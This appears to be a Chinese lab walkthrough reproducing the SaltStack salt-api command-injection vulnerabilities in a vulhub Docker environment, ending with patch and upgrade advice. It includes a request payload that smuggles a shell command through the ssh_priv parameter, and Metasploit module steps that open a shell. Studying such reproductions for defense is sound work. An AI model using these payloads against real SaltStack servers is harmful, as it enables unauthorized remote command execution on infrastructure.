千家信息网

如何进行SaltStack命令注入漏洞复现

发表于:2025-12-01 作者:千家信息网编辑
千家信息网最后更新 2025年12月01日,本篇文章给大家分享的是有关如何进行SaltStack命令注入漏洞复现,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。0x00简介SaltS
千家信息网最后更新 2025年12月01日如何进行SaltStack命令注入漏洞复现

本篇文章给大家分享的是有关如何进行SaltStack命令注入漏洞复现,小编觉得挺实用的,因此分享给大家学习,希望大家阅读完这篇文章后可以有所收获,话不多说,跟着小编一起来看看吧。

0x00简介

SaltStack是一个服务器基础架构集中化管理平台,具备配置管理、远程执行、监控等功能,基于Python语言实现,结合轻量级消息队列(ZeroMQ)与Python第三方模块(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack和PyYAML等)构建。通过部署SaltStack,我们可以在成千万台服务器上做到批量执行命令,根据不同业务进行配置集中化管理、分发文件、采集服务器数据、操作系统基础及软件包管理等。

0x01漏洞概述

CVE-2020-16846和CVE-2020-25592组合使用可在未授权的情况下通过salt-api接口执行任意命令。CVE-2020-25592允许任意用户调用SSH模块,CVE-2020-16846允许用户执行任意命令。

0x02影响版本

SaltStack 2015/2016/2017/2018/2019/3000/3001/3002

0x03环境搭建

1、本次漏洞手动搭建较为复杂,使用vulhub中的docker环境搭建下载并解压

wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zipunzip vulhub-master.zip

2、进入漏洞目录使用docker-compose启动漏洞环境,看到绿色done表示启动成功

cd vulhub/saltstack/CVE-2020-16846/docker-compose up -d

3、在浏览器访问https://your-ip:8000这是Salt的API端口。注:需要https访问

0x04漏洞复现

1、在url访问以下链接,使用burp进行抓包并发送到重放模块

https://your-ip:8000/run

2、将get修改为post传输,构造以下数据包写入文件,点击发送

token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/success%3b

3、返回200ok,进入到docker容器中查看文件成功写入

4、使用msf中的exp进行漏洞利用,启动msf,选择攻击模块,配置信息,使用run或exploit执行,执行后拿到shell

msfconsoleuse exploit/linux/http/saltstack_salt_api_cmd_execshow options

0x05修复建议

1、建议在官方下载安装此漏洞补丁,补丁下载地址:

https://gitlab.com/saltstack/open/salt-patches

2、升级至安全版本,下载地址:

https://repo.saltstack.com/

以上就是如何进行SaltStack命令注入漏洞复现,小编相信有部分知识点可能是我们日常工作会见到或用到的。希望你能通过这篇文章学到更多知识。更多详情敬请关注行业资讯频道。

漏洞 命令 模块 管理 文件 服务器 环境 服务 配置 成功 地址 基础 建议 数据 更多 版本 用户 知识 篇文章 补丁 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 网络净化联盟为什么要炸服务器 幼儿园家园网络安全教育计划 真正的裸金属服务器是否需要硬盘 宁夏网络安全宣传周 手工删除数据库 wamp怎么建立数据库 网络安全心得范文 服务器需要一直重启吗 福州得业互联网科技有限公司 考网络技术员操作证 江苏省扬州市网络安全侦查工作 阿里云使用什么服务器 山东省网信办网络安全专家 笔记本调试服务器 数据库的字段在哪里修改 流量卡服务器升级中 孝感售后完善的计算机软件开发 我的世界精灵宝可梦剑盾服务器 服务器繁忙请稍后重试 oracle登录数据库选择什么 徐州信息网络技术管理系统 数据库中具体出生年月函数 行业应用软件开发服务是指什么 笔记本能当服务器吗 京通联科网络技术 论网络安全与防范 满足网络安全法的网络设备 山东济南赛博网络技术公司 数据库复制一条数据库 呼和浩特软件开发中心
0